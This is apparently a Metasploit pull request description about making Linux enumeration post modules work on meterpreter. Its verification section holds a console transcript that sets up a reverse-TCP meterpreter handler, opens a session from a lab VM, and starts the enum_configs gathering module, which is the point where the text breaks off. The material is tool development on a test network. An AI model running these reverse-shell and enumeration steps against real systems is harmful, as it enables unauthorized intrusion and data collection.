Make some linux enum post modules work on meterpreter

Requeriments
-----

- [x] https://github.com/rapid7/meterpreter/pull/89
- [x] https://github.com/rapid7/meterpreter/pull/90

Verification
--------

- [x] Have linux meterpreter binaries with https://github.com/rapid7/meterpreter/pull/89 and https://github.com/rapid7/meterpreter/pull/90 changes
- [x] Get a linux meterpreter session, you can use ```exploit/multi/handler```

```
msf > use exploit/multi/handler
msf exploit(handler) > set payload linux/x86/meterpreter/reverse_tcp
payload => linux/x86/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 172.16.158.1
lhost => 172.16.158.1
msf exploit(handler) > set lport 4444
lport => 4444
msf exploit(handler) > rexploit
[*] Reloading module...

[*] Started reverse handler on 172.16.158.1:4444
[*] Starting the payload handler...
[*] Transmitting intermediate stager for over-sized stage...(100 bytes)
[*] Sending stage (1155072 bytes) to 172.16.158.188
[*] Meterpreter session 1 opened (172.16.158.1:4444 -> 172.16.158.188:57629) at 2014-07-08 16:32:25 -0500

meterpreter >
meterpreter > background
[*] Backgrounding session 1...

```

- [x] Verify which the modified post modules work on a meterpreter session. I include my test on an old Ubuntu 10.04 virtual machine:

```
msf exploit(handler) > use post/linux/gather/enum_configs
msf post(enum_configs) > set session 1
session => 1
msf post(enum_configs) > set VERBOSE true
VERBOSE => true
msf post(enum_configs) > run
